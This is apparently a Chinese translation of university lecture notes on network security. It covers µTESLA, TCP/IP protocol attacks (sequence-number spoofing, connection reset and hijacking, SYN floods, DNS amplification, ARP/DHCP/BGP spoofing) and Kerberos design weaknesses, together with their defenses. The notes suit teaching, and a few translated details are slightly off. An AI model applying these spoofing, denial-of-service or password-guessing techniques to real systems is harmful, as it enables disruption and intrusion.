微型 TESLA：经过身份验证的广播需要使用非对称机制，否则任何被篡改的接收器都可以伪造来自发送者的消息。如何在没有非对称加密的情况下完成这项工作？通过延迟揭示对称密钥引入不对称性。思路：基站使用一个对传感器节点未知的密钥 K 的 MAC_K（K 是密钥链的一个密钥，K_i = F(K_{i+1})，其中 F 是单向函数）来承诺给基站（在密钥链中，密钥是自认证的），密钥链通过基站的延迟揭示来揭示。密钥揭示时间延迟大约为几个时间间隔，大于任何合理的往返时间。接收器节点知道密钥揭示时间。每个接收器节点需要拥有密钥链的一个真实密钥作为对整个链的承诺。发送基站和接收器节点松散地进行时间同步。使用共享秘密 MAC 密钥的简单引导协议，请参阅第 5.5 节。
节点无法存储密钥链的密钥：节点可以通过基站广播数据，或者使用基站外包密钥链管理。
密钥设置：基站和节点共享的主密钥。我们如何进行密钥分发？已经有很多研究提供了具有良好弹性、连通性和可扩展性的解决方案。有争议的解决方案：密钥感染；引导不需要安全，而是关于在静态网络中进行安全维护。思路：明文传输对称密钥，并使用保密放大（以及其他机制）。在保密放大中，两个节点 A 和 B 使用第三个相邻节点 C 来建立 A 和 B 之间的通信。这个通信通道由密钥 K_{A,C} 和 K_{C,B} 保护。它用于交换一个随机数 N。A 和 B 通过 H(K_{A,B}||N) 替换他们的密钥 K_{A,B}，并验证他们是否可以使用这个新密钥。如果 K_{A,B} 被对手知道，但密钥 K_{A,C} 和 K_{C,B} 不知道，那么对手无法提取新的 K_{A,B}！这个解决方案已被提议用于战场管理应用。
相关主题：RFID 标签，社交网络，TinyDB。
TCP/IP 安全
注意： 这些讲座笔记略有修改，来自 2014 年 6.858 课程网站上发布的内容。
网络安全的威胁模型
 对手可以拦截/修改网络流量。
 
 对手可以发送数据包。
 
 对手完全控制自己的机器。
 
 对手可以参与协议（通常）。
 
通常不可行将坏人排除在大型系统之外。
窃听数据包。
 重要的是要记住，但相对来说已经被很好地理解。
 
 通过网络发送的任何数据都可以被对手观察。
 
发送/伪造数据包。
 IP 允许发送方构造任意数据包。
 
 特别是，发送方可以填写任何源地址。
 
 可以假装数据包来自任何地址。
 
 对手可以利用这个做什么？
 
回顾一下"TCP/IP 协议套件中的安全问题"
论文在这里
 易受攻击：触发某些实现中的错误。
 
 作者对这类问题不太感兴趣。
 
 相反，希望看看**“协议级问题”**。
 
 什么是协议级问题？
 
 设计固有的问题。
 
 正确的实现会有这个问题。
 
 为什么这么重要？
 
 可以修复实现中的错误。
 
 要修复协议级错误，可能需要更改协议！
 
 可能与现有系统不兼容。
 
 （正如我们将看到的，有时可能提出兼容的修复方法。）
 
TCP 序列号攻击
 标准握手（第 2 页右侧的图）：
 
 C: 源=C, 目的=S, SYN(SNc)
 
 S: 源=S, 目的=C, SYN(SNs), ACK(SNc)
 
 C: 源=C, 目的=S, ACK(SNs)
 
 C: 源=C, 目的=S, 数据(SNc), ACK(SNs)
 
 对手如何知道数据来自客户端？
 
 只有客户端应该能够接收第二条消息。
 
 因此，只有客户端应该知道序列号。
 
 第三条消息将被拒绝，除非具有正确的 SNs 值。
 
 假设对手 A 想要模拟从 C 到 S 的连接。（假设 A 知道 C 的 IP 地址–在实践中通常不是大问题。）
 
 A: 源=C, 目的=S, SYN(SNc)
 
 S: 源=S, 目的=C, SYN(SNs), ACK(SNc) – 但这将发送到 C，而不是 A
 
 A: 源=C, 目的=S, ACK(SNs) – 但如何猜测 SNs？
 
 A: 源=C, 目的=S, 数据(SNc)
 
 对手从哪里获取 SNs？
 
 TCP 规范建议了一种选择它们的特定方式。
 
 特别是，以大约恒定的速率增加：每秒约 250,000 个。
 
 为什么这么具体？
 
 与重用连接（源/目的端口号）的微妙交互。
 
 希望避免旧数据包（来自过去的连接）干扰新连接。
 
 参考：RFC 1185 附录
 
 如果对手知道最近的序列号，就可以猜测下一个序列号。
 
实现实际上会每秒增加 ISN，使其易于猜测。
 S 发送给 C 的真实数据包发生了什么（第二个数据包）？
 
 C 会假设数据包来自旧连接，发送RST作为响应。
 
 即使发送了RST，对手也可以在RST到达之前尝试竞争。
 
 幸运的是，还有另一个奇怪的错误；稍后会讨论。
 
 但是为什么序列号攻击会变成安全问题？
 
1. 伪造依赖 IP 地址的应用程序的连接
 例如，伯克利远程访问工具：rlogin、rsh、rcp。
 
 如果连接来自“受信任”系统，则允许无密码登录。
 
 要求连接来自受信任的源端口（512-1023）。
 
为什么有这个要求？
 受信任的 rlogin/rsh/rcp 程序发送客户端的用户名。
 
 如果用户名与服务器上的帐户相同，则无需密码。
 
 例如：“rsh athena.dialup.mit.edu ls”。
 
 对 TCP 层提供的内容做出了错误的假设。
 
假设来自 IP 地址的 TCP 连接意味着它确实来自该主机。
 如果对手可以猜测 SN，则可以模拟来自受信任主机的连接。
 
 使用 rsh 发出任何命令。
 
 可以更改用户的.rhosts 文件以允许从攻击者主机登录。
 
 然后直接连接，而无需模拟连接。
 
 基于主机的身份验证似乎是一个糟糕的计划。
 
 特别是依赖于主机上的“受信任”与“不受信任”端口。
 
 今天仍在使用：例如，用于传出邮件的 SMTP。
 
 实际上，rlogin 身份验证甚至更糟：他们通过主机名进行身份验证。
 
 主机名从哪里来？反向 DNS 查找。
 
 例如，18.26.4.9：查找 9.4.26.18.in-addr.arpa 的 PTR 记录。
 
 该域的所有者可以将 PTR 记录设置为任何主机名！
 
（可以稍微改进：检查主机是否解析为相同的地址。）
 类似的问题出现在日志文件中：记录解析（不受信任）主机名。
 
2. 拒绝服务攻击：连接重置
 一旦我们知道 SNc，就可以发送一个 RST 数据包。
 
 更糟糕的是：服务器将接受任何在窗口内的 SNc 值的 RST 数据包。
 
 具有大窗口（~32K=2¹⁵）时，只需要 2³²/2¹⁵ = 2¹⁷ 次猜测。
 
连接重置有多糟糕？
 此类攻击的一个目标是 BGP 路由器之间的 TCP 连接。
 
 导致路由器假定链路故障，可能会影响几分钟的流量。
 
 解决方案：
 
 TTL 黑客（255）：通过在 TCP 数据包中设置TTL = 1，确保 BGP 节点只与直接邻居通信
 
 MD5 头部身份验证（非常专门用于路由器之间的链接）。
 
3. 劫持现有连接
 类似地，还可以向现有连接中注入数据。
 
 对手只需要知道当前的 SNc。
 
如何缓解这个问题？
 基线：不要依赖 IP 地址进行身份验证。
 
 在更高级别使用加密/身份验证。
 
 下一讲：Kerberos。
 
 但是，我们仍然希望为 TCP 解决当前的情况。
 
 ISP 可以过滤其客户发送的数据包。
 
 今天经常为小客户执行，但不一致。
 
 对于具有复杂网络、多重主机等的客户来说并不直接。
 
如何修补 TCP？
 不能以完全随机的方式选择 ISN，而不违反 TCP 规范。
 
 可能会破坏连接（端口）重用的保证。
 
 ISN 是 32 位，意味着在约 2¹⁶ = 65,000 个连接后，您可能会发生冲突并重用与旧连接匹配的 ISN。
 
旧连接的数据包可能被解释为新连接的一部分
 因此，最好 ISNs 递增 以环绕方式递增，以使碰撞变得不太可能。
 
 随机增量？
 
 应保留增量速率（~250k/秒）。
 
 没有大量的随机性（比如，每次增加低 8 位）。
 
 旁注：必须小心我们如何生成随机数！
 
 常见 PRNG：线性同余生成器：R_k = A*R_{k-1}+B mod N。
 
 不安全：给定一个伪随机值，可以猜测下一个！
 
 有许多更好的密码学安全 PRNG 可用。
 
 理想情况下，使用内核内置的 PRNG（/dev/random，/dev/urandom）
 
 参考：http://en.wikipedia.org/wiki/Fortuna_(PRNG)，或任何流密码，如 http://en.wikipedia.org/wiki/RC4
 
 然而，不同的源/目的地对的 SN 值永远不会相互作用！
 
 因此，可以为每个源/目的地对选择使用随机偏移量来选择 ISN。
 
 不错的技巧：ISN = ISN_oldstyle + F(srcip, srcport, dstip, dstport, secret)
 
 F是某个伪随机函数；大致上，可以认为是 SHA1。
 
 不需要额外的状态来跟踪每个连接的 ISNs。
 
序列号攻击仍然相关吗？
 大多数操作系统实现了上述每个连接 ISN 的解决方法。
 
参考：Linux secure_tcp_sequence_number in net/core/secure_seq.c
 但其他协议遭受几乎相同的问题–例如，DNS。
 
 DNS 在 UDP 上运行，没有序列号，只有端口，目的端口固定（53）。
 
 如果对手知道客户端正在进行查询，可以伪造响应。
 
只需要猜测 src 端口，通常是可预测的。
 问题在 2008 年变得流行，尽管在此之前 djb 已经很好地理解了。
 
 参考：http://cr.yp.to/djbdns/forgery.html
 
 参考：http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html
 
 解决方案：仔细利用所有可能的随机性！
 
DNS 查询包含 16 位查询 ID，并且可以随机化约 16 位 src 端口。
 解决方案：部署 DNSSEC（签名的 DNS 记录，包括缺失记录）。
 
 一个问题：密钥分发（谁被允许为每个域签名？）
 
 另一个问题：名称枚举（以签署“没有这样的名称”响应）。
 
 部分通过 NSEC3 缓解：http://tools.ietf.org/html/rfc5155
 
 采用缓慢，没有太多升级的动力，非微不足道的成本。
 
 成本包括性能和管理（密钥/证书管理）。
 
SYN 洪水攻击
 请注意，服务器在接收到 SYN 数据包时必须存储一些状态。
 
 它需要存储发送给该客户端的SN_s序列号
 
 被称为半开放连接：回复了 SYN-ACK，等待 ACK。
 
 如果它从许多来源接收到 SYN 消息会怎样？
 
 许多实现尝试为所有半开放连接保留状态。
 
 但最终会耗尽内存，必须拒绝连接！
 
 恼人的问题：我们甚至不知道我们为谁保留状态！
 
对手可能有一个单一主机，并从许多 src IP 生成 SYN。
 拒绝服务攻击：客户端+服务器资源之间存在巨大的不对称性。
 
 客户端伪造一个单个数据包（少于 1 毫秒）。
 
 服务器会浪费内存直到连接超时（几分钟）。
 
防御 SYN 洪水攻击：SYN cookies。
 思路： 使服务器无状态，直到收到第三个数据包（ACK）。
 
 这为什么很棘手？
 
 需要确保对手无法从任何源地址捏造一个连接。
 
 以前，这是通过存储 ISNs 并期望在 ACK 中收到来实现的。
 
 使用一点密码学来实现类似的目标。
 
 将服务器端状态编码到序列号中。
 
 ISNs = MAC_k（源/目的地址+端口，时间戳）|| 时间戳
 
 时间戳是粗粒度的（例如，分钟）。
 
 服务器存储秘钥k，不与其他人共享。
 
详细参考：http://cr.yp.to/syncookies.html
 当发送 SYN-ACK 响应时，服务器计算如上述的序列号。
 
 服务器可以通过验证 ACK 的序列上的哈希（MAC）来验证状态是否完整。
 
不太理想：需要考虑时间戳内的重放攻击。
 另一个问题：如果第三个数据包丢失，没有人会重传。
 
 只有在服务器先发言的协议中才会有问题。
 
 因为服务器不再保留连接状态，所以它不知道有一个悬挂连接，所以在等待客户端的 ACK 太久后，它永远不会重新传输其 SYN 消息给客户端。
 
 同样，客户端不会知道其 ACK 数据包丢失了（它从未被 ACK 回来，而且由于客户端正在等待服务器发送第一个消息（假设），客户端也不会发送任何其他数据）。
 
 在 DoS 攻击的情况下可能不是一个大问题。
 
另一个 DoS 攻击向量：带宽放大。
 向网络的广播地址发送 ICMP 回显请求（ping）数据包。
 
 例如，18.26.7.255。
 
 以前，你会从网络上的所有机器收到 ICMP 回显回复。
 
 如果你伪造一个来自受害者地址的数据包怎么办？受害者会收到所有回复。
 
 在一个快速网络上找到一个有 100 台机器的子网：100 倍放大！
 
参考：http://en.wikipedia.org/wiki/Smurf_attack
 我们能修复这个问题吗？
 
路由器现在阻止“定向广播”（发送到广播地址的数据包）。
 现代变种：DNS 放大。
 
 DNS 也是一个请求-响应服务。
 
 服务器可能会用一个小查询发送回一个大响应。
 
 使用 DNSSEC，响应包含大量签名，所以它们甚至更大！
 
 由于 DNS 运行在 UDP 上，源地址完全未经验证。
 
参考：http://blog.cloudflare.com/deep-inside-a-dns-amplification-ddos-attack
 我们能修复 DNS 攻击吗？
 
实际上相当困难！根域名服务器必须回答任何人的查询。
 如果我们有机会从头开始重新设计 DNS 会怎样？
 
 一个可能的计划：查询必须和响应一样大（需要填充）。
 
 一般技术：迫使客户端至少花费同样多的工作。
 
TCP 拥塞控制。
 接收方可以通过 ACK 未接收的段来促使发送方加速。
 
 或者发送更多的 ACK（例如，每个字节发送一个 ACK 而不是每个数据包）。
 
路由协议：对参与者过于信任。
 ARP：在单个以太网网络内。
 
 要发送 IP 数据包，需要路由器/下一跳的以太网 MAC 地址。
 
 地址解析协议（ARP）：广播一个请求目标 MAC 地址的请求。
 
 任何人都可以监听广播，发送回复；没有认证。
 
 对手可以冒充路由器，拦截数据包，甚至在交换网络上。
 
 潜在解决方案：让交换机负责 ARP。
 
没有广泛部署：需要仔细管理 MAC/IP 地址。
 DHCP：同样，在一个以太网网络中。
 
 客户端通过发送广播请求来请求 IP 地址。
 
 服务器响应，没有认证（一些规范存在但并不广泛使用）。
 
如果你刚刚插入一个网络，可能不知道会发生什么。
 很多字段：IP 地址，路由器地址，DNS 服务器，DNS 域列表，…
 
 对手可以冒充网络上的新客户端的 DHCP 服务器。
 
可以选择他们的 DNS 服务器，DNS 域，路由器等。
 同样，对服务器的 DoS 攻击：请求大量租约，来自许多 MAC 地址。
 
 解决方案：让交换机负责 DHCP（将请求转发给真实服务器）。
 
 没有广泛部署：需要仔细的交换机配置。
 
 在无线网络上更加复杂。
 
 BGP：全球范围内（类似于论文中描述的 RIP 攻击）。
 
 任何 BGP 参与者路由器都可以宣布到一个前缀的路由。
 
 如果对手有一个路由器怎么办？可以宣布任何前缀或路由。
 
 这个问题还有意义吗？
 
 垃圾邮件发送者经常利用这一点：宣布一个未使用的地址，并发送垃圾邮件。
 
 绕过 IP 级别的垃圾邮件发送者黑名单：选择几乎任何 IP！
 
 如何解决？
 
 SBGP：对路由公告进行加密签名。
 
 必须知道谁被允许宣布每个特定的 IP 前缀。
 
 需要有人为每个 IP 前缀分发密钥/证书。
 
 引导问题很棘手；也会有一些性能开销。
 
 有些进展，但仍未广泛部署。
 
还有许多其他问题。
 像重定向这样的 ICMP 消息：没有认证，基本上现在不再使用。
 
 暴露太多信息（netstat，SNMP，finger）：大部分已修复。identd（“认证服务”）：设计不佳，没有真正的认证。
 
 电子邮件：真正的问题，但目前没有实际解决方案。
 
 认证与授权。
 
 例如，PGP 无法解决垃圾邮件问题。
 
 协议中的密码：仅支持密码并不是很好。
 
我们将在几周后讨论替代方案。
 FTP 数据传输协议。
 
 服务器连接回客户端以向客户端发送文件。
 
 客户端告诉服务器要使用的 IP 地址和端口号。
 
 可以用来从服务器的 IP 进行端口扫描。
 
 可以用来从服务器的 IP 发送任何流量（嵌入文件中）。
 
例如，回到 IP 认证问题：rlogin，垃圾邮件等。
对手如何知道你正在运行什么软件/协议？
 探测：
 
 检查系统是否在一个众所周知的端口上监听。
 
 协议/系统通常会发送初始的横幅消息。
 
 nmap 可以通过测量各种实现特定的细节来猜测操作系统。
 
参考：http://nmap.org/book/man-os-detection.html
 使用 DNS 查找 IP 地址的主机名；可能会给出一些提示。
 
 猜测：假设系统存在漏洞，尝试利用漏洞。
 
对手如何知道要攻击的系统的 IP 地址？
 使用 traceroute 查找沿途的路由器，用于 BGP 攻击。
 
 也可以扫描整个互联网：只有 2³² 个地址。
 
 1 Gbps（100 MB/s）的网络链路，64 字节最小数据包。
 
 每秒约 1.5 百万个数据包。
 
 2³² = 40 亿个数据包在约 2500 秒内，或 45 分钟内。
 
 zmap：这个的实现
 
为什么 TCP/IP 层的安全性如此不足？
 从历史上看，设计者并没有太担心安全性。
 
 即使 Bellovin 也说：“1989 年的互联网是一个更友好的地方”。
 
 最初的互联网有一小部分相对可信赖的用户。
 
 设计要求随时间改变。
 
 端到端论点在实践中发挥作用。
 
 无论如何必须在应用层提供安全性。
 
 在传输层上的事情足够“好”，可以让应用程序正常工作。
 
 一些修复确实被添加，但仅针对最严重的问题/更容易的解决方案。
 
如何提高安全性？
 对 TCP 实现的协议兼容修复。
 
 防火墙。
 
 部分修复，但被广泛使用。
 
 问题：对手可能在防火墙网络内。
 
 问题：很难确定数据包是否“恶意”。
 
 问题：即使对于存在的字段（源/目的地），也很难进行身份验证。
 
 TCP/IP 的设计与防火墙过滤技术不太匹配。
 
 例如，IP 数据包分段：TCP 端口在一个数据包中，有效载荷在另一个数据包中。
 
 在 TCP/IP 之上实现安全性：SSL/TLS，Kerberos，SSH 等。
 
 注意：这篇论文在加密与认证方面并不清晰。
 
 下一讲将更详细地讨论 Kerberos。
 
 使用密码学（加密、签名、MAC 等）。
 
这是一个相当困难的问题：协议设计，密钥分发，信任等。
 有些安全性很难在顶层提供：DoS 抵抗，路由。
 
 部署替代协议：SBGP，DNSSEC。
 
Kerberos
**注意：**这些讲座笔记略有修改自 2014 年 6.858 课程网站上发布的笔记。
Kerberos 设置
 分布式架构，从单一的分时系统演变而来。
 
 许多提供服务的服务器：远程登录、邮件、打印、文件服务器。
 
 许多工作站，一些是公共的，一些是私有的。
 
 每个用户登录到自己的工作站，拥有根访问权限。
 
 对手可能也有自己的工作站。
 
 当时的替代方案：rlogin、rsh。
 
 目标：允许用户通过向服务器进行身份验证来访问服务。
 
 其他用户信息通过 Hesiod、LDAP 或其他目录分发。
 
 广泛使用：Microsoft Active Directory 使用 Kerberos（v5）协议。
 
信任模型是什么？
 所有用户、客户端、服务器都信任 Kerberos 服务器。
 
 其他机器之间没有先验信任。
 
 网络是不受信任的。
 
 用户信任本地机器。
 
Kerberos 架构
 中央 Kerberos 服务器，被所有各方信任（或至少在 MIT 被所有方信任）。
 
 用户、服务器之间有一个他们与 Kerberos 共享的私钥。
 
 Kerberos 服务器跟踪每个人的私钥。
 
 Kerberos 使用密钥实现客户端、服务器之间的相互身份验证。
 
 术语：用户、客户端、服务器。
 
 客户端和服务器知道彼此的名称。
 
 客户端确信自己正在与服务器通信，反之亦然。
 
 Kerberos 不提供授权（用户能否访问某些资源）。
 
应用程序需要决定这一点。
为什么我们需要这个可信的 Kerberos 服务器？
用户不需要在每台服务器上设置帐户、密码等。
总体架构图
代码语言：javascript
复制
 +-----------------------+
                  c, tgs         |                       |
  [ User: Kc ]  <-------->  [ Kerberos ]                 |
       ^      \                  |           Database:   |
       |       \                 |             c: Kc     |
       V        \    s           |             s: Ks     |
 [ Server: Ks ]  \-------->   [ TGS ]                    |
                                 |         KDC           |
                                 +-----------------------+ 
Kerberos 构造
从论文中得到的基本 Kerberos 构造：
 票证，T_{c,s} = { s, c, addr, timestamp, life, K_{c,s} }
 
通常使用K_s加密
 验证器，A_c = { c, addr, timestamp }
 
通常使用K_{c,s}加密
Kerberos 协议机制：
 对 Kerberos 数据库有两个接口：“Kerberos”和“TGS”协议。
 
 相当相似；少许差异：
 
 在 Kerberos 协议中，可以指定任何c、s；客户端必须知道K_c。
 
 在 TGS 协议中，客户端的名称是隐式的（来自票证）。
 
 客户端只需知道K_{c,tgs}来解密响应（而不是K_c）。
 
 客户端机器最初从哪里获取K_c？
 
对于用户，使用密码派生，实际上是使用哈希函数。
 为什么我们需要这两个协议？为什么不只使用“Kerberos”协议？
 
 客户端机器在获得 TGS 票证后可以忘记用户密码。
 
 我们可以只存储K_c并忘记用户密码吗？等效于密码。
 
命名
 Kerberos 的关键之处：密钥与主体名称之间的映射。
 
 每个主体名称由(名称、实例、领域)组成
 
通常写作名称.实例@领域
 哪些实体有主体？
 
 用户：名称是用户名，实例用于特殊权限（按照惯例）。
 
 服务器：名称是服务名称，实例是服务器的主机名。
 
 TGS：名称是’krbtgt’，实例是领域名称。
 
 这些名称在哪里使用/名称在哪里重要？
 
 用户记住他们的用户名。
 
 服务器根据主体名称执行访问控制。
 
 客户端选择他们期望与之交流的主体。
 
类似于浏览器期望 HTTPS 的特定证书名称
 何时可以重复使用名称？
 
 对于用户名：确保没有 ACL 包含该名称，很困难。
 
 对于服务器（假设不在任何 ACL 上）：确保用户忘记服务器名称。
 
 必须更改密钥，以确保旧票据对新服务器无效。
 
获取初始票据：“Kerberos” 协议
 客户端发送一对主体名称 (c, s)，其中 s 通常是 tgs。
 
 服务器回复 { K_{c,s}, { T_{c,s} }_{K_s} }_{K_c}
 
 Kerberos 服务器如何验证客户端？
 
不需要 – 愿意回应任何请求。
 客户端如何验证 Kerberos 服务器？
 
 解密响应并检查票据是否有效。
 
 只有 Kerberos 服务器会知道 K_c。
 
 这种方式与将密码发送到服务器相比有何优劣之处？
 
密码不会通过网络发送，但更容易被暴力破解。
 为什么从 Kerberos/TGS 服务器的响应中两次包含密钥？
 
 响应中的 K_{c,s} 给予客户端访问这个共享密钥的权限。
 
 票据中的 K_{c,s} 应该让服务器确信密钥是合法的。
 
一般弱点： Kerberos 4 假设加密提供消息完整性。
 有一些攻击可以让对手篡改密文。
 
 没有明确的 MAC 意味着没有明确定义的方法来检测篡改。
 
 一次性解决方案：kprop 协议包括校验和，难以匹配。
 
 弱点使得对手相对容易“伪造”票据。
 
参考：http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2003-004-krb4.txt
一般弱点： 对手可以发动离线猜测密码攻击。
 典型密码的熵不高。
 
 任何人都可以向 KDC 请求使用用户密码加密的票据。
 
 然后尝试离线暴力破解用户密码：易于并行化。
 
 更好的设计：要求客户端与服务器互动以进行每次登录尝试。
 
一般弱点： DES 硬编码到设计中，数据包格式。
 当 DES 变得太弱时，难以切换到另一个加密系统。
 
 DES 密钥空间太小：密钥仅为 56 位，2⁵⁶ 并不算大。
 
 现在破解 DES 很便宜（20–200 通过 https://www.cloudcracker.com/）。 
 对手如何利用这个弱点破解 Kerberos？
 
向服务器进行身份验证：“TGS” 协议
 客户端发送 ( s, {T_{c,tgs}}_{K_tgs}, {A_c}_{K_{c,tgs}} )
 
 服务器回复 { K_{c,s}, { T_{c,s} }_{K_s} }_{K_{c,tgs}}
 
 服务器如何根据票据对客户端进行身份验证？
 
 使用服务器的密钥解密票据。
 
 使用 K_{c,s} 解密验证器。
 
 只有 Kerberos 服务器可以生成票据（知道 K_s）。
 
 只有客户端可以生成验证器（知道 K_{c,s}）。
 
 为什么票据中包含 c？s？addr？life？
 
 服务器可以从票据中提取客户端的主体名称。
 
 Addr 试图防止被盗票据在另一台机器上被使用。
 
 生命周期同样试图限制被盗票据的损害。
 
 网络协议如何使用 Kerberos？
 
 使用K_{c,s}加密/认证所有消息。
 
 邮件服务器命令、发送到打印机的文档、shell I/O 等。
 
 例如，在邮件服务器协议中的“DELETE 5”。
 
 谁生成认证器？
 
对于每个新连接，客户端。
 为什么客户端需要发送认证器，除了票据之外？
 
 向服务器证明对手没有重放旧消息。
 
 服务器必须在内存中保留最近的几个认证器，以检测重放。
 
 Kerberos 如何使用时间？如果时钟错误会发生什么？
 
 防止被盗票据永久使用。
 
 限制重放缓存的大小。
 
 如果时钟错误，对手可以使用旧票据或重放消息。
 
 客户端如何认证服务器？为什么这很重要？
 
 连接到文件服务器：想知道您获取的是合法文件。
 
 解决方案：服务器在接收到客户端的票据和认证器后可以发送{ timestamp + 1 }_{K_{c,s}}。
 
**一般弱点：**相同的密钥K_{c,s}用于许多事情
 对手可以用K_{c,s}替换任何消息为其他消息。
 
 例如：跨多个会话的消息。
 
 认证器不证明K_{c,s}是新鲜的！
 
 对手可以将新的认证器与旧消息拼接在一起。
 
 Kerberos v5 每次都使用新的会话密钥，在认证器中发送。
 
 例如：不同方向的消息
 
 Kerberos v4 在数据包中包含了一个方向标志(c->s 或 s->c)
 
 Kerberos v5 使用单独的密钥：K_{c->s}, K_{s->c}
 
如果用户连接到错误的服务器（MITM /网络钓鱼攻击的类比）会发生什么？
 如果服务器拦截数据包，了解用户连接到哪个服务。
 
 如果用户意外输入 ssh malicious.server 会发生什么？
 
 服务器了解用户的主体名称。
 
 服务器没有获取用户的 TGS 票据或K_c。
 
 无法冒充用户给其他人。
 
如果 KDC 宕机会发生什么？
 无法登录。
 
 无法获取新票据。
 
 可以继续使用现有的票据。
 
认证到 Unix 系统。
 访问本地文件、进程时不涉及 Kerberos 协议。
 
 如果使用 Kerberos 登录，用户必须呈现合法的票据。
 
 如果用户使用用户名/密码（本地或通过 SSH 使用密码）登录会发生什么？
 
 用户知道自己提供的密码是否合法。
 
 服务器毫无所知。
 
 服务器可能受到攻击：
 
 用户通过 SSH 连接，输入用户名和密码。
 
 创建看起来合法的 Kerberos 响应，使用密码加密。
 
 服务器无法判断此响应是否真正合法。
 
 解决方案（如果服务器保持状态）：服务器需要自己的主体、密钥。
 
 首先获取用户的 TGS，使用用户的用户名和密码。
 
 然后使用 TGS 获取服务器主体的票据。
 
 如果用户伪造了 Kerberos 服务器，第二个票据将不匹配。
 
在应用程序中使用 Kerberos。
 论文建议使用特殊函数封装消息，有 3 个安全级别。
 
 对应用程序需要适度更改。
 
 对于灵活性、性能很好。
 
 不利于采用。
 
 开发人员很难理解微妙的安全保证。
 
 或许更好的抽象：安全通道（SSL/TLS）。
 
更改密码服务（管理界面）
 Kerberos 协议如何确保客户端知道密码？为什么？
 
 票证中的特殊标志指示使用哪个接口获取它。
 
 更改密码服务仅接受使用K_c获得的票证。
 
 确保客户端知道旧密码，不仅仅是拥有票证。
 
 客户端如何更改用户的密码？
 
连接到更改密码服务，将新密码发送到服务器。
复制
 一个主服务器（支持密码更改），零个或多个从服务器。
 
 所有服务器都可以发出票证，只有主服务器可以更改密钥。
 
 为什么要这样分割？
 
只有一个主服务器确保一致性：不能有冲突的更改。
 主服务器定期更新从服务器（在撰写本文时，大约每小时一次）。
 
更近期的实现具有增量传播：较低的延迟（但不是 0）。
 这个有多可扩展？
 
 对称加密（DES，AES）很快–在当前硬件上为 O（100MB / sec）。
 
 票证很小，O（100 字节），因此可以支持每秒 1M 张票证。
 
 通过添加从服务器轻松扩展。
 
 潜在问题：密码更改需要一段时间才能传播。
 
 对手在用户更改密码后仍然可以一段时间使用窃取的密码。
 
 要了解如何正确进行复制，请参加 6.824。
 
Kerberos 数据库的安全性
 主服务器和从服务器在这种设计中非常敏感。
 
 受损的主/从服务器意味着所有密码/密钥都必须更改。
 
 必须物理安全，Kerberos 服务器软件中没有错误，在服务器机器上的任何其他网络服务中也没有错误等。
 
 我们能做得更好吗？SSL CA 基础设施略好一些，但并不多。
 
当我们谈论浏览器安全/HTTPS 时，将更详细地研究它。
 大多数集中式身份验证系统都遭受这些问题。…并且全球唯一的自由形式名称需要一些受信任的映射机构。
 
为什么 Kerberos 没有使用公钥加密？
 当时太慢了：VAX 系统，10MHz 时钟。
 
 政府出口限制。
 
 专利。
 
网络攻击。
 Kerberos 服务器上的离线密码猜测攻击。
 
 Kerberos v5 防止客户端请求任何主体的票证。
 
 必须在请求中包含{ timestamp }_{K_c}，证明知道 K_c。
 
 当时仍然容易受到网络嗅探器的密码猜测攻击。
 
 有更好的替代方案：SRP，PAKE。
 
 对手可以使用窃取的票证做什么？
 
 对手可以使用窃取的K_c做什么？
 
 对手可以使用窃取的K_s做什么？
 
记住：在 Kerberos 中，两方共享每个密钥（并依赖于它）！
 如果K_c被泄露后密码更改后会发生什么？
 
 可以解密所有后续交换，从初始票证开始
 
 甚至可以解密密码更改请求，获取新密码！
 
 如果对手稍后弄清您的旧密码怎么办？
 
 如果对手保存了旧数据包，可以解密所有内容。
 
 可以类似地获取当前密码。
 
前向保密（避免密码更改问题）。
 抽象问题：在两方之间建立共享秘密。
 
 Kerberos 方法：某人选择秘密，加密并发送。
 
 弱点：如果加密密钥被窃取，可以稍后获取秘密。
 
 Diffie-Hellman 密钥交换协议：
 
 两方选择自己的秘密部分。
 
 互发消息。
 
 消息不必保密，只需经过身份验证（无篡改）。
 
 两方使用彼此的消息重建共享密钥。
 
 对手无法通过观察网络消息重建密钥。
 
 Diffie-Hellman 的细节：
 
 素数 p，生成器 g mod p。
 
 Alice 和 Bob 各自选择一个随机的、秘密的指数（a 和 b）。
 
 Alice 和 Bob 向彼此发送（g^a mod p）和（g^b mod p）。
 
 每个参与方计算（g^(ab) mod p）=（gab mod p）=（gba mod p）。
 
 使用（g^(ab) mod p）作为秘密密钥。
 
 假设离散对数（从（g^a mod p）中恢复 a）很困难。
 
Kerberos 中的跨域。
 领域之间共享密钥。
 
 Kerberos v4 仅支持成对的跨域（无过境）。
 
Kerberos 不能解决什么问题？
 客户端、服务器或 KDC 机器可能会受到威胁。
 
 访问控制或组（由服务实现）。
 
 微软“扩展”了 Kerberos 以支持组。
 
实际上用户的组列表包含在票据中。
 代理问题：Kerberos 中仍然没有很好的解决方案，但 ssh-agent 很好。
 
 工作站安全性（可以木马登录，并且实际上确实发生过）。
 
 基于智能卡的方法并没有起飞。
 
 谷歌身份验证器使用的两步验证（基于时间的 OTP）。
 
 共享桌面系统并不那么普遍：每个人都有自己的手机、笔记本电脑，…
 
后续步骤。
 Kerberos v5 修复了 v4 中的许多问题（一些被提及），被广泛使用（MS AD）。
 
 OpenID 是一个类似的协议，用于 Web 应用程序的身份验证。
 
通过 HTTP 请求传递类似的消息。